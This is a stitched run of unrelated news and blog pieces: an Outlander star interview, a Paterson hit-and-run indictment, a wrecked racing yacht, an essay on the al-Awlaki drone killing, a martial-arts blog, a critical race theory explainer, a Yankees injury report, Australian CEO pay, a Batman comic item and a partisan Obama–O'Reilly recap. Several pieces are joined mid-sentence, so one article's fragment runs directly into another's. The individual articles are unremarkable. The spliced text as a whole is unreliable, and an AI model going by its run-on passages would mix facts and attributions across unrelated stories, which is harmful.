Well, that's my story and I hope you find it useful. My plan is to come back and add an update on this, wishing my horrible procrastinating habits won't interfere with this project this time ;PIt’s been just under four months since Outlander fans had to say good-bye to Claire and Jamie Fraser during the emotional Season 2 finale. But it’s also a long wait until the time-traveling, star-crossed couple returns to Starz for Season 3 next April. Thankfully, in the meantime, there’s a new Blu-ray edition of Season 2 out on Tuesday, November 1. And, for the true devotees to both the show and the Diana Gabaldon novels, there’s also a special Collector’s Edition that features an exclusive excerpt from the upcoming Outlander novel “Go Tell The Bees That I Am Gone.” Outlander star Sam Heughan took a break from his grueling 11-month shooting schedule to reflect back on Season 2 and give a preview of why Season 3 feels like “a different show.” (Hint: It has to do with him missing co-star Caitriona Balfe.)
Vanity Fair: After the overwhelmingly warm reception for Season 1, was there a particular fan reaction to Season 2 that you did not see coming?
Sam Heughan: I think the first half of the season set in France was quite complicated, and it certainly wasn't going back over the old ground of Season 1. I think we were very aware that the first season was this young relationship and about new love. We wanted to show something a bit more complicated [in Season 2]. I think fans were surprised. People tune in expecting the same show or the same sort of scenes and, yeah, I think we surprised fans with that.
I know you hear from fans who are put out or surprised by changes from the books. Was there any particular book aspect left out of Season 2 that you felt like fans were most hoping to see and didn’t?
Diana is all over this. I mean, I have constant e-mail updates, several times a day, about things she’s watched or things she’s read. We confer a lot, probably more than the producers want us to. There’s always going to be little details that will be missed because the show is only an hour-long episode each week. I know myself and Caitriona, we read the books and if we can sneak in a small detail that may not be in the script or even just that we know ourselves, that going from one scene to another, that something's happened in between that maybe we haven't been able to show, but at least we know it and, hopefully, in some way it manifests itself. Hopefully it’s all in Diana’s world. I know that she said herself that Season 2, especially at the start, was kind of complex and difficult to make into episodic TV.
There’s a behind-the-scenes feature on the Blu-ray of you, Caitriona, and Graham McTavish prepping for your big Season 2 fight scene. Can you tease anything about what fans might not know about how you prepare for combat?
Yeah, I mean, my God, the show is incredible. Not to give away much, but today, one minute I was on a horse riding across the Scottish countryside, and then I'm somewhere else in studio, and then I'm laying in a cot. But that particular Season 2 scene was very emotional. I absolutely loved doing a fight scene with Graham; I've always wanted to. He absolutely hated me fighting him. We actually shot several alternate endings to the fight because, obviously, in the book, Claire isn't complicit. We thought, Jamie and Claire are a couple and they need to be both guilty of this deed. It's not that Claire wants to kill anyone—she's not a killer, she's a hero—but she wants to aid Jamie and she basically ends up being complicit in the death of Dougal.
It was very funny because we were actually shooting a pick up on that and we didn't have Caitriona there at the time; it was actually a double's hands that are on the dagger. Graham was very wary of this double pushing too hard down on him that he might actually get stabbed. He was just this very hard man complaining that someone was pushing a fake dagger too hard on him.
Of course, with any Blu-ray, there are deleted scenes included here. Which deleted Season 2 scene were you most devastated not to see included in the original episodes?
There was one recently that was released on social media; it was the “Faith” scene. Certainly, from my perspective, you got to see a lot more of Jamie and his angst. I mean, he’s kind of not present for most of that episode. I think that's important, that's an important cut. We go on that journey with Claire and see her go through all the stages of grief and mourning and then some sort of brittle resolve. Almost, in a way, we didn't want the camera to blink from her. I think that’s what was decided. Watching Jamie also go through it, well, absolutely, it’s another side. I certainly know that I really felt very strong in that scene. I felt that it was a very awkward place for Jamie to be that will have some sort of repercussion—even now in Season 3. I don’t think Jamie or Claire get over the loss of Faith. I think it’s wonderful that the fans actually get to see a glimpse into some of the other work that we do that’s not always on the screen.
I’ve heard you say that, as opposed to Caitriona with her elaborate costumes, it only takes you five minutes to get into wardrobe when Jamie is wearing the kilt. But I was curious, since we’re going to jump forward several years in Season 3, if you have some extra time in makeup chair this year and if you can tell us anything about what older Jaime looks like?
I mean, I’m probably not allowed to say much, but I think we all know that the books do span a great amount of time. Season 3, in particular, yeah, I mean, there was an aging process. There was definitely a different look to the characters, but you’ll have to tune in to find out, I guess. But even in Season 1, I had hours and hours of prosthetic makeup whenever the back scarring was on or Jamie got shot or injured. By no means does that stop in Season 3 so, yes, there’s been a lot of very long days where I’ve been in makeup.
The end of Season 2 saw Claire back in her own timeline so I really don’t think it’s a spoiler to say that you filmed a good part of Season 3 without Caitriona. Since you two have been such close partners on this whole experience, what was it like to go on without her?
Yeah. Honestly, it’s like having a death in the family. Well, I don’t know, I mean, it’s just like a different show. It’s hard to separate yourself from the character. Jamie’s present, living in his world, and Claire’s present and living in her world, and they both believe the other is dead. It’s always hard when we’re apart, actually, because she’s a great person, great to come to work with, and a very good actress. But I think it all adds to the reunion—if there’s a reunion, or when there’s a reunion—well you know there’s one in the books. It should be very special.
Do you have a fondest memory from Season 2 that you’re excited for the fans to re-live via the Blu-ray?
Wow. Whoa, that's tough, I think—Paris was almost like another world and it was great fun—but for us getting back to Scotland, to Lallybroch, and then to having all the MacKenzies turn up, Graham McTavish as Dougal and Stephen Walters as Angus and all the others. It was so rewarding to be in Scotland with the wind and the rain and the cold and everyone was miserable but kind of happy because we were back and it felt like coming home. I think it’s a very sad ending because we all knew that people were going to die— that’s what history tells us—that's what Jamie and Claire are fighting to stop is the end of these people. So it’s a bittersweet return home to Scotland. In the back of your mind, you’re aware that it’s sort of coming to a close.PATERSON -- A city police officer faces up to 15 years in prison for allegedly driving from the scene after striking a 23-year-old man last June, the Passaic County Prosecutor's Office said.
Jose Urena, 30, of North Haledon was indicted by a grand jury Tuesday on charges of knowingly leaving the scene of a fatal accident and endangering an injured victim.
Authorities say Urena was off-duty June 16 when he struck the city resident around 8:25 p.m. at Fourth and Temple streets. Police and EMS personnel arrived and found Jaquill Fields seriously injured. He was taken to St. Joseph's Regional Medical Center, where he later died.
Urena was charged following an "intensive investigation" by the prosecutor's Vehicular Homicide Unit, which also recovered the vehicle involved, authorities said.
Urena has been free since posting bail shortly after his arrest, News 12 New Jersey reported.
Paul Milo may be reached at pmilo@njadvancemedia.com. Follow him on Twitter@PaulMilo2. Find NJ.com on Facebook.Fixing a $6 million racing yacht after crashing onto a reef at 22 miles per hour is a bit more complicated than repairing your car after a fender bender. First of all, when you're stuck on a remote archipelago in the Indian Ocean, it's hard to get anything done. And when your boat was specially designed and built by four companies in four different countries, coordinating a repair job isn't exactly like calling AAA.
It’s been more than a week since a Danish sailing team crashed onto a reef off Mauritius in the early stages of the Volvo Ocean Race, a 35,000-mile, around-the-world contest. The nine crew members of Team Vestas Wind were all rescued without injury, but their 65-foot racing yacht wasn’t so lucky. The 22 mph crash broke both its rudders, and days of being banged against rocks by the current have left a gaping hole in the stern.
Apart from wondering how some of the world’s best sailors, equipped with the best navigational tools available, smacked into a reef, the big question is whether Vestas Wind can get back into the race, and how.
The Volvo Ocean Race, which has been held roughly every three years since 1973, was originally called the Whitbread Round the World Race. The seven teams visit six continents, crossing oceans while packed into boats built with speed, not comfort, in mind. (Think brutal weather, no fresh food, no shower, one change of clothes, one tiny toilet, and the never-ending pounding of waves.) The race is deadly as well as uncomfortable: In 2006, Dutch sailor Hans Horrevoets died when he was knocked overboard into the North Atlantic.
The scoring system works like Formula One's: Each leg takes the boats from one city to another, with points awarded based on the finishing order. If a team doesn't finish any one leg, the only penalty is that it can't move up in the rankings, and it's welcome back whenever it can get to the starting line.
Race officials and Team Vestas Wind have so far said little about where things will go from here, but there are only three options: The team can fix its severely damaged boat. It can have a new one built asap. Or it can drop out of the race altogether.
Before leaving the area, Vestas Wind sailors salvaged what they could from the boat. Brian Carlin/Team Vestas Wind
Making It Like New
The need to repair a boat mid-competition is nothing new for the Volvo Ocean Race. On the first leg of the 2011-2012 edition, the mast of Puma Ocean Racing's boat snapped in the middle of the Atlantic Ocean. The team got it repaired in time for the next race, and eventually placed third overall. But the damage to Team Vestas' boat is more extensive.
The first steps in fixing the boat would be moving it to a shipyard and assessing the damage, says Chase Hogoboom, president of Goetz Composites, which has produced boats for past Volvo Ocean Races. A team sent in to remove the 12-ton boat could fill it with air bags to float it off the reef, then put it on a larger ship, possibly using a crane.
Based on photos of the wreck, there’s obvious damage to the stern (“it’s no longer there”), but because the boat was has been banging against rocks for more than a week, there could be other, less visible damage to its carbon fiber structure. The carbon fiber used in boats like these is analogous to a piece of cardboard, Hogoboom says, there’s a core with two pieces of “skin” on either side. The beating could have peeled away that skin, which would hurt the boat’s structural integrity.
One way to look for that damage is to warm the hull with a heat gun, then use thermal imaging to look for discrepancies: If everything cools down at the same rate, it’s all good. Damage would leave pockets of air or water in the structure, which lose heat at a different pace. The less high tech method is simple: Tap the structure with a metal screwdriver or knife, the way you look for studs behind a wall. Damaged areas will produce a different sound than undamaged ones.
Structural damage isn’t the only concern. Bad things happen to a boat when you rip off part of the hull and put it in salt water. Aluminum parts like winches and other hardware could be badly corroded, Hogoboom says, and the extensive electrical systems used for navigation and communication could be damaged. All that might need to be replaced.
*Here's video from the moment of the crash and it's aftermath. If you've ever wondered what "curse like a sailor" means, watch it to find out. *
The good news is that putting in fresh carbon fiber “is relatively easily done,” Hogoboom says. The companies that built the boats still have the molds for all the parts (the current design will be used for the 2017-2018 race), and they could start making replacements while the damaged boat is dragged back. Then it’s just a question of cutting out the damaged areas and bonding on the new bits. Nonetheless, it would require a big commitment: Four companies, each in a different country, contributed parts of the boat, and they would all probably need to provide replacement parts. That requires, time, coordination, and money, and there’s a good chance the effort just isn’t worth it.
Even if those practical concerns are met, repairing the boat could make for new complications. In an effort to make participating in the race less expensive and to put the focus on sailing skills, organizers made this year’s competition a single design race: Each of the seven teams is using exactly the same boat. Even using the original molds, a repaired boat would be somewhat different from the original, says Patrick Shaughnessy, president of Farr Yacht Design, which created the boat. If Vestas Wind starts winning races in a fixed-up boat, it would raise eyebrows.
Just Build a New One!
Given the status of the Vestas Wind boat—its hull looks “pretty trashed,” Hogoboom says, and it’s in the middle of the Indian Ocean—the saner move might be to build a new one altogether. But like with a repair job, the tough part isn’t physically producing another boat. It’s a question of time, money, and getting everyone on board. Parts would have to come in from Italy, France, the UK, and Switzerland. Someone would have to sort out the insurance, and the lack of clarity about how the crash happened in the first place will likely play a role.
“So you have all of these companies that need to have the materials to do the work, they need to have the available resources to complete them, and it needs to be able to be done in a timetable that produces a boat that can still participate in the race,” Shaughnessy says. “That’s a tough ask.”
Divvying up the work among the companies makes it possible to build a boat in a few months, but it probably wouldn’t be ready until at least April, Shaughnessy estimates. That would eliminate Vestas Wind from the next three legs of the nine-leg race. Throw in their disqualification from this current leg, and that’s nearly half the race gone. They’d come back in with just a few races left, way behind in the standings.
Everyone involved wants to win, and wants to see a strong competitive field, Shaugnessy says, but it just might not be worth the effort. That leaves option three: dropping out. “You have to look at what’s left, and decide if that’s really a reasonable thing to strive for.”If sunlight truly is the best disinfectant, how diseased must our national security state have become? Nearly ten years after the rushed and largely unread Patriot Act was made law, the United States has entered into a new realm of secrecy, as a constitutional law professor turned President has brought the state’s secrets provisions to their logical conclusion: he has targeted and killed American citizens based entirely upon information he refuses to make public or submit to a duly established body or tribunal. The President’s move was as unprecedented as it was unnecessary, and rightfully makes many wonder not if we are at the precipice of a slippery slope, but rather how far down that dune we have fallen, and whether we will ever be able to scramble back up.
On September 30th, 2011, a barrage of hellfire missiles in northern Yemen destroyed the caravan carrying Anwar al-Awlaki, a United States citizen and allegedly a leading propagandist for Al Qaeda. Al-Awlaki has repeatedly denounced the United States, decried American actions, preached Jihad, and otherwise encouraged the killing of Americans. He was a likely traitor to the United States who quite vocally supported, both in word and, seemingly, action, America’s worst enemy. There can be little doubt that he earned the title of enemy and the status of being targeted.
He was also not the only likely traitor in the car. Accompanying him was Samir Khan, an American citizen raised in comfortable middle class environs, who became radicalized and moved to Yemen to edit Al Qaeda’s English language magazine, “Inspire.” Known for such articles as “how to build a bomb in the kitchen of your mom,” Khan was, according to the New York Times, “proud to be a traitor to the United States.”
But when the United States’ predator drone, having lifted off from a secret base in the Yemen, took out its target last Friday, America entered into uncharted and dangerous territory in its fight against terror and traitors. Al-Awlaki and Khan were American citizens; while perhaps deserving of their fate—we do not know, for there has been no public fact-finding—they faced no court, no indictment, no duly constituted body of either house of Congress, and no normal prosecutorial oversight. The executive branch did not consult members of Congress, nor did it reach out to a judicial body. Glenn Greenwald of Salon.com decried the lack of “due process,” but he makes a mistake in his characterization: the problem is not a lack of due process, but rather a lack of any process at all. Due Process is a vague enough concept that it does not even require much in some situations: it guarantees us – all of us – only the “process that is due” in any given circumstance. Sometimes the Due-Process requirements are more stringent, at other times, less so. The question raised by this unsettling case is whether an American citizen is due any process at all, other than the agreement of the President and a few members of his national security establishment. Al-Awlaki was placed on a capture or kill list by the President of the United States, and Khan was in the car; that, to our Commander in Chief, was enough.
Despite their declarations to the contrary, the Executive Branch was aware that it was crossing a Rubicon with the al-Awlaki killing. While the administration claims that al-Awlaki was killed under the laws of war—in their words, “under the authority provided by Congress in its use of military force in the armed conflict with al-Qaeda”—as the Washington Post reported, the Justice Department wrote a secret memo that authorized al-Awlaki’s killing, a written opinion without which the CIA reportedly would not have proceeded. That al-Awlaki could be seen as just another enemy combatant was hardly clear—at least, hardly clear to the Central Intelligence Agency. Rather, there must have been a series of fact-findings—an analysis of evidence, followed by a determination of policy—that took place in order to justify the hit. But what were those facts, and what exactly is the threshold for determining when, how, and why the President may target an American citizen without so much as a phone call to a judge or even the chairman of a relevant congressional committee?
We do not know, and the White House does not desire to tell us. After the assassination, White House Spokesman Jay Carney faced a number of troubling and difficult questions during his Press Briefing from ABC News’ Jake Tapper. The exchange (see link for video) begins in a straightforward manner:
Jake Tapper: You said that Awlaki was demonstrably and provably involved in operations. Do you plan on demonstrating or proving that?
Jay Carney: He is clearly, I mean provably might be a legal term, but I…think it has been well established, and it has certainly been the position of this administration and the previous administration, that he is, uh, was a leader in AQAP [Al Qaeda in the Arabian Peninsula], that AQAP was a definite threat, was operational, planned and carried out terrorist attacks that fortunately did not succeed but were extremely serious…including the would-be Christmas day bombing 2009…I wouldn’t know of any credible terrorist expert who would dispute the fact that he was a leader in Al Qaeda in the Arabian peninsula and that he was operationally involved in terrorist attacks against American interests and citizens.
Tapper, like a good reporter, asks a follow-up question. Carney’s response to the follow-up teeters on the edge of the bizarre:
Jake Tapper: Do you plan on bringing before the public any proof of these charges?
Jay Carney: Again, the question makes us, it has embedded within it assumptions about the circumstances of his death that I’m just not going to address.
Jake Tapper: How on earth, I really don’t understand, he’s dead, you were asserting that he had operational control, of the cargo plot, and the Abdulmutallab plot, he’s now dead. Can you show us, or the American people, or has a judge been shown…
Jay Carney: I, I’m not going to go any further than what I’ve said about the circumstances of his death, and the case against them, which you’re linking, and, and uh, I think that…
Jake Tapper: No, you, you said that he was responsible for these things
Jay Carney: Yes, but again…
Jake Tapper: Is there going to be any evidence presented?
Jay Carney: Uh, you know, I don’t have anything for you on that.
Tapper asks a question about evidence—about any proof of its claims that the executive branch might have been able to present to the public or even just to a judge—and Carney replies that he is not at liberty to discuss the “circumstances of [Awlaki]’s death.” The question, of course, has nothing at all to do with circumstances of death, but has to do with circumstances of evidence and of process; namely, what evidence must exist, and what process should be followed, that would allow for the President to put a hit out on an American citizen. Not to be out done, Tapper continues with his questions.
Jake Tapper: Do you not see at all, does the administration not see at all, that the President asserting that he has the right to kill an American citizen without due process, and that he’s not going to even explain why he thinks he has that right, is troublesome to some people?
Jay Carney: I wasn’t aware of any of the things that you said happening and again I’m not going to address the circumstances of Awlaki’s death. Again, it is an important fact that this terrorist who was actively plotting, had plotted in the past, and was actively plotting to attack Americans and American interests, is dead, but I’m not going to, from any angle, discuss the circumstances of his death.
After their long and combative exchange, Carney merely reiterates that “it is an important fact that this terrorist who was actively plotting” was killed, completely ignoring the very real questions about his premise: If Awlaki was involved with these terrorist attacks, where is the evidence, and who has seen it? And what does it mean when, in reply to a question about evidence justifying an attack, the administration remains secretive in the name of “the circumstances of the death.” What on earth does one have to do with the other?
The answer, of course, is nothing, and as we showed in a recent post here on September 9th, if Carney were under oath when asked these questions, he could be indicted, under existing vague and broad federal criminal laws, and convicted of obstruction of justice. Carney’s reply represents only an attempt to invoke a state secret in order to avoid answering an embarrassing question; with national security on the line, the thinking goes, secrets save lives. The United States may very well have good reason not to discuss the locations of the secret CIA air bases (that everybody seems to know about) somewhere in the Yemeni desert; that is, it has reason to avoid discussing the actual military “circumstances of Awlaki’s death.” But by linking discussions of proving Awlaki’s connection to terror attacks with the secret air base, Carney, Obama, and the rest of the executive can avoid, in the name of national security, saying anything of substance except “we got him.” The argument becomes increasingly nonsensical when we remember that Congress has already created a top-secret national security court under the Foreign Intelligence Surveillance Act (FISA), which, theoretically, could review the government’s evidence in total secrecy and either approve, or reject, the application to assassinate an American citizen.
Supporters of the administration’s position may argue that al-Awlaki was an enemy combatant, and that his citizenship became irrelevant as soon as he stepped on the battlefield. Those who make that claim miss the point; in the asymmetrical, indefinable war on terror, we often do not know who the combatants are, and where the battlefield on any given day will be. We need evidence to prove that somebody is a dangerous terrorist, rather than a radical cleric and hateful citizen practicing his first amendment rights but on foreign soil. Traitors who joined the Nazi SS wore uniforms and fought on front lines; such cannot be said for al-Awlaki and his companion Samir Khan. As the Washington Post reported, it was only after we blew up al-Awlaki’s motorcade that the Obama Administration publicly claimed that al-Awlaki was the “external operations chief for al-Qaeda in the Arabian Peninsula.”
But we are loathe to make empty criticisms without any suggested recourse. In a recent article by Christopher Hitchens on Slate.com, Hitchens argues that “those who protest the killing of Anwar al-Awlaki have to say what they would have done instead.” Far from blindly supporting America’s actions, Hitchens points to the disconcerting interplay between security and rights: despite the discomfort many may feel about the President’s actions, Awlaki seemed to be an imminent threat, and a rogue’s gallery of failed jihadists claimed him as an inspiration. What else could have been done?
To Hitchens we reply that there were any number of actions which the executive could have taken that would have lent some form of process to the profoundly consequential targeted killing of an American citizen. As we have noted above, perhaps the executive could have approached a FISA court, which is given the express authority for administering secret warrants for the surveillance of US citizens, and which is under no obligation to disclose the evidence presented by the Department of Justice. Or the President could have consulted the Senate and sought approval from an Intelligence committee. Or, as has been suggested elsewhere, the Department of Justice could have tried al-Awlaki in absentia, an extraordinary measure, but one lending at least some process to the killing. Other solutions may have been possible without the expenditure of much time and resources (and for which sufficient time clearly was available in view of the duration of this surveillance mission). But the President pursued none of them, proclaiming for the Executive an expanded power that would make the framers of the constitution shudder. We learn about the importance of checks and balances in grade school; one would hope that the constitutional law professor who has become President would consider them as well. And for those who say that such moves would have been indulged in for appearance’s sake alone, the response is that due process of law is as much about the appearance of law and order as it is about the substance.
But instead the President gathered a group of lawyers in the Oval Office and sought approval from them. Imagine, people who work directly for the President found a way to approve of his actions, and to expand the power of the executive to potentially uncharted territories. Could the outcome of this faux process ever have been in doubt?
As we have seen over the last ten years, Terror poses a doubly existential threat to the United States: the destabilization caused by the attackers from without, and the hyper overreaction and fear created by the government from within. Security is important, but so are the basic civil liberties upon which we built our republic. If the government can target its own citizens without even saying why to any duly-constituted body, what kind of republic do we have left?
Daniel R. Schwartz, a PhD candidate at Brandeis University and Silverglate’s Research Assistant, co-wrote this article. He can be reached at Daniel@HarveySilverglate.comProbably the number one reason people don’t come to our classes is fear of our workout. The language we use to talk about what we do at the school seems to make people uncomfortable. People that run marathons or at least jog regularly, people that hit the gym for weight training, people that study other martial arts…all of them seem to worry about how they would do in our class.
I understand where they are coming from. You mention handstands or cartwheels…that can be a pretty intimidating thought. Fencing seems a bit intellectual, which is at least not too scary. Wrestling? Boxing? From the land of the couch, those seem pretty distant and scary. Adding to the discomfort, this blog and the school website have lots of pictures of workouts and people looking fit.
And the truth is we are pretty fit. But we didn’t start out that way.
We are less a school than a process. One part of our process is to create athleticism. Not recognize or promote athleticism, create athleticism.
We do that by never assuming any student is athletic to start. It’s true for the most part. We get fat students and skinny students and strong students and very very fit students, but athletes are pretty damned rare. When I say athlete, I mean a person who can seemingly naturally do any physical activity with apparent ease and maybe even a little ability. That’s a goal. Not a starting condition.
In the time since we’ve started our training program, we’ve had some awesome success. Students start to find shirts not fitting because muscles are growing. Range of motion and ability to move improves dramatically. The more a student trains with us, the stronger, faster and more athletic they become.
We primarily achieve this by getting everyone on their hands as much as possible. It’s a simple little theory…the body is meant to be upright. Bipedal. Reverse that, and adaptions have to happen. Broad adaptions |
white supremacy is the order, and it must be overthrown.” Host Soledad O’Brien called that “a complete misreading.” What is critical race theory, and how radical is it really?
It’s an academic movement that looks at society and the law through a racial lens, and these days it’s more controversial than radical. The theory came around in the 1970s and ’80s as Bell and other law professors and activists became disillusioned with the results of the civil rights movement. Though blacks had supposedly gained equality before the law, they pointed out that whites continued to wield disproportionate power and enjoy superior standards of living. Classical liberal ideals such as meritocracy, equal opportunity, and colorblind justice, they said, actually served the white elite by cloaking and reinforcing society’s deep structural inequalities.
Racism, according to this line of thought, is not a matter of bad behavior by individual racists; it’s embedded in American attitudes and institutions. Even with overt discrimination outlawed, institutional racism and unconscious biases—sometimes expressed through accidental slights, as when a white person praises a black person as “clean” and “articulate”—would keep minorities down.
Derrick Bell and other legal scholars began using the phrase “critical race theory” in the 1970s as a takeoff on “critical legal theory,” a branch of legal scholarship that challenges the validity of concepts such as rationality, objective truth, and judicial neutrality. Critical legal theory was itself a takeoff on critical theory, a philosophical framework with roots in Marxist thought.
Bell in particular advanced what he called “interest convergence theory,” which holds that whites will support minority rights only when it’s in their interest as well. For example, he saw the Supreme Court’s landmark 1954 school-desegregation decision, Brown v. Board of Education, as a part of a Cold War effort to improve America’s standing among Third World countries. To redress racial wrongs, he sympathized with black nationalists’ calls for separate black institutions but also pushed for affirmative action at Harvard and elsewhere.
On CNN, O’Brien and Pollak clashed over Pollak’s assertion that “white supremacy is at the heart of critical race theory.” It’s true that Bell often used that loaded term to describe what he saw as an entrenched racial hierarchy. He didn’t mean, however, that America is full of white supremacists, in the Ku Klux Klan sense. As Richard Delgado and Jean Stefancic note in “Critical Race Theory: An Introduction,” those who subscribe to it believe that racism can be an everyday fact of life for people of color even if whites rarely notice it.
So is the theory radical? Yes, in the sense that it questions fundamental assumptions. Critical race theorists argue that what many Americans think of as the “white race” does not describe a distinct group of people but rather a social construct that serves to benefit some groups and marginalize others. And unlike some strands of academic and legal thought, critical race theory has an open and activist agenda, with an emphasis on storytelling and personal experience. It’s about righting wrongs, not just questing after knowledge.
But Bell and his fellow theorists, who include Kimberlé Crenshaw, Mari Matsuda, and Charles Lawrence, were not radical in the sense of advocating extreme tactics to achieve political ends, like Greenpeace or the Irish Republican Army. They fought their battles in the halls of academia, not on the streets. And many of their ideas are not radical today in the sense of being outside the mainstream: Critical race theory is widely taught and studied, not only in law but in sociology, education, and other fields. And it is part of the mainstream debates over affirmative action, immigration, and hate-crime laws.
Got a question about today’s news? Ask the Explainer.
Explainer thanks Richard Delgado of Seattle University School of Law.
Video Explainer: Can Animals Be Homophobic?CLEVELAND — Their fingers firmly crossed ace pitcher Masahiro Tanaka’s right elbow soreness doesn’t lead to Tommy John surgery, the Yankees are awaiting the examination of arguably the most important hinge in team history.
Tanaka was sent to New York on Wednesday for an afternoon MRI exam. However, Tanaka will go to Seattle, possibly Thursday, to be examined by team doctor Chris Ahmad, who prefers to examine patients in person as well as look at an MRI. Ahmad is in Seattle for an orthopedics conference. The Yankees are trying to be proactive, and if Tanaka needs to be seen by another expert, most of the world’s top orthopedists are in Seattle.
The $175 million investment went on the 15-day disabled list Wednesday and his return is a very large and expensive question mark.
“Right now we are DLing him,’’ said manager Joe Girardi, who didn’t speculate how serious the problem is. “It’s a big loss anytime you lose a starting pitcher because they are hard to replace.’’
According to Girardi, Tanaka told the trainers late Tuesday night he was experiencing soreness after absorbing a 5-3 loss to the Indians in which he allowed five earned runs and 10 hits in 6²/₃ innings. The earned runs and hits were season highs for the 25-year-old All-Star who, with the bullpen, has kept the Yankees afloat in the AL East with a 12-4 record and 2.51 ERA. However, Tanaka has lost three of his last four starts.
There were no alarming signs Tuesday night that Tanaka was hurt. His fastball was clocked at 90-to-91 mph in the opening two innings then reached 94 and 95. He did abandon the signature splitter early, instead going with a sharp slider. Still, nobody saw anything that set off alarms.
“I didn’t think anything of it,’’ said Brian McCann, who caught Tanaka. “I walked in [the clubhouse] and heard the news. The only thing [Tuesday] was that his pitches didn’t have the sharp action like in the past, but he still pitched good. I didn’t notice anything. I was surprised when I came in.’’
Because Tanaka, who was named to the American League All-Star team, was supposed to start Sunday night in Baltimore, Girardi needs somebody to face the AL East leaders. The favorite is struggling Chase Whitley, who moved from the rotation to the bullpen to make room for Brandon McCarthy, Wednesday night’s starter. However, Whitley pitched two innings of relief in the Yankees’ 5-4, 14-inning win on Wednesday and it was not certain he will be available Sunday.
Tanaka’s injury is the latest to the Opening Day five-man rotation, 80 percent of which is currently on the DL.
Ivan Nova is out for the season after Tommy John surgery. He last pitched April 19. CC Sabathia is a candidate to miss the rest of the year because of his right knee that could require microfracture surgery, which may end his career. He has been out since May 10.
Michael Pineda is attempting to come back from a teres major muscle problem in the back and hasn’t worked since April 23 when he was tossed out of the game for slapping pine tar on the neck and subsequently suspended for 10 games. Now, Tanaka’s future is questionable.
That leaves Hiroki Kuroda as the only starter who hasn’t been injured. The Yankees get roughly 65 percent of Sabathia’s $23 million salary for this year and 80 percent of the remaining $63 million on the contract if he never pitches again, and it’s likely the team has the same policy on Tanaka, who is in the first year of a seven-year deal for $155 million and making $22 million this season.
“We are hoping for good news. You worry about everybody but he is pretty special,’’ outfielder Brett Gardner said of Tanaka. “It didn’t go through my mind that he was hurting.’’
Clearly, he was. Now the Yankees will find out how much it will hurt them. It could be a strained muscle, ligament or tendon. Or Tanaka could be headed for Tommy John surgery, a crushing blow hard to recover from.CEOs now earn 78 times more than Australian workers
Updated
Australia's top chief executives earn an average of $4.75 million — or 78 times more than the average Australian worker.
The stark finding comes from corporate adviser Conrad Liveris, who has examined the remuneration of executives at Australia's 100 biggest public companies.
But that's not all.
Male CEOs earn almost $1 million more than women CEOs, on average.
, on average. CEO earnings have climbed 46 per cent faster than typical workers' earnings over the past 12 months.
The earnings gap
Here's how the gap between total average remuneration for ASX100 chief executives compares to average weekly earnings.
Mr Liveris says Australian corporations' approach to executive remuneration is outdated, as it's based on a model created for corporations in the 1980s and 1990s.
"It's barely been reviewed for decades even though the business environment has changed.
"In this time of change and innovation, decision makers need to better analyse the contributions being made to their corporation's performance and examine how they can share the benefits more widely."
The growth gap
Australians' wages are stubbornly stagnant, but it's a quite different story for CEOs.
Over the past couple of years, CEO remuneration has climbed 46 per cent more, year on year, than average Australian incomes.
Mr Liveris believes corporations need to align increases in executive remuneration to Australia's Wage Price Index, in an effort to win back trust in the country's biggest businesses.
The gender gap
You might assume that women who become CEOs have broken through the glass ceiling. But even at this level, there remains a large gap in earnings.
And keep in mind: there are only seven women leading ASX100 companies.
The highest-earning woman CEO is Susan Lloyd-Hurwitz from Mirvac, who took home a total package of $5.3 million.
That compares to Alan Joyce from Qantas, the top-earning man who is earning $24.6 million.
Notably, though, some women executives who hold other positions are out-earning their fellow CEOs. For example:
The head of Macquarie Asset Management, Shemara Wikramanayake, earned $17.3 million.
Jetstar CEO Jayne Hrdlicka (under the Qantas umbrella) earned $8.1 million.
Nicole Sorbara, Macquarie's chief operating officer, earned $5.8 million.
"The highest paid men in the ASX100 tend to be group chief executives, while women tend to lead business units," Mr Liveris explains.
The top earners
Alan Joyce from Qantas may have received the highest total remuneration package, but Wesfarmers' Richard Goyder took home the highest salary.
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About this story CEO earnings are based on Conrad Liveris's analysis of public records for ASX100 companies. Except where otherwise stated, the figures are for total remuneration, including salary and other benefits.
Data for Australian worker earnings are based on average weekly earnings. Changes in wages is based on the Wage Price Index.
Credits: Matt Liddy (reporter); Ben Spraggon (designer); Nathan Hoad (developer)
Topics: business-economics-and-finance, company-news, australia
First postedWhat happens when The Dark Knight Returns version of Batman faces off against Alan Moore's smartest man on the planet? Only funny things.
Artist Axel Medellin drew this short comic for the latest installment of Comics Should Be Good's The Line It Is Drawn art challenge. This week, artists were asked to send a comic book character back in time to change a significant moment in comics history. Medellin took a suggestion to have the older, Dark Knight Batman lend the heroes from Watchmen a helping (but grim and gritty) hand.
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Head over to deviantART to see more of Medellin's work, including some of his previous entries. (I highly recommend the Godzilla Xenomorph.) And there are more time-traveling comics hijinks—the Red Skull finding a still-frozen Captain America, the Power Rangers interfering with a Green Lantern massacre, and Lady Liberty preventing Jerry Siegel and Joe Shuster from signing away ownership of their characters—at Comics Should Be Good.
The Line it is Drawn #195 – Fun With Time Travel! [Comics Should Be Good]0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Bill O’Reilly and Fox News tried to use their Super Bowl interview with President Obama to push conspiracy theories like Benghazi and the IRS, but Obama pushed back slamming Fox News repeatedly for spreading false information.
Video:
O’Reilly began by asking about the ACA website. Obama said, “Now we got the website up and running.” O’Reilly disagreed because of a poll that says that Americans don’t think it is working. O’Reilly wanted Kathleen Sebielus fired. The Fox News host tried to get Obama to admit that his biggest mistake was saying that if you like your insurance you can keep it. The president wouldn’t bite.
Bill-O then turned to Benghazi. (This interview is nothing more than a 2014 Republican campaign ad.) Obama said, “Understand that by definition, anybody who is attacking our compound is an act of terror.” O’Reilly then tried to play the Susan Rice card, and he claimed that he was just a confused American. Obama accused Republicans of creating a political agenda over protecting Americans. O’Reilly got hammered when he asked if it was a terror attack. O’Reilly used the patented Fox News folks believe line, and the president replied, Folks believe it, because you are telling them that.
O’Reilly tried to grill Obama on the bogus IRS scandal, and royally flopped. On the IRS, O’Reilly used the Fox News line, “some people are saying.” Obama said things like the IRS keep resurfacing because Fox News keeps promoting them. Obama said there were boneheaded decisions, but not a smidgen of corruption at the IRS.
Bill O’Reilly broke out the fundamental transformation of America line via a viewer letter, and Obama said, “I don’t think it is necessary to fundamentally transform America.”
Fox News tried to use the Super Bowl interview as a partisan vehicle to attack the president. This was a totally different interview from the last time these two men sat down at the Super Bowl.
The president seemed to catch on very quickly to what their intentions were a blasted Fox News twice for dredging up dumb conspiracy theories that have no basis in truth.
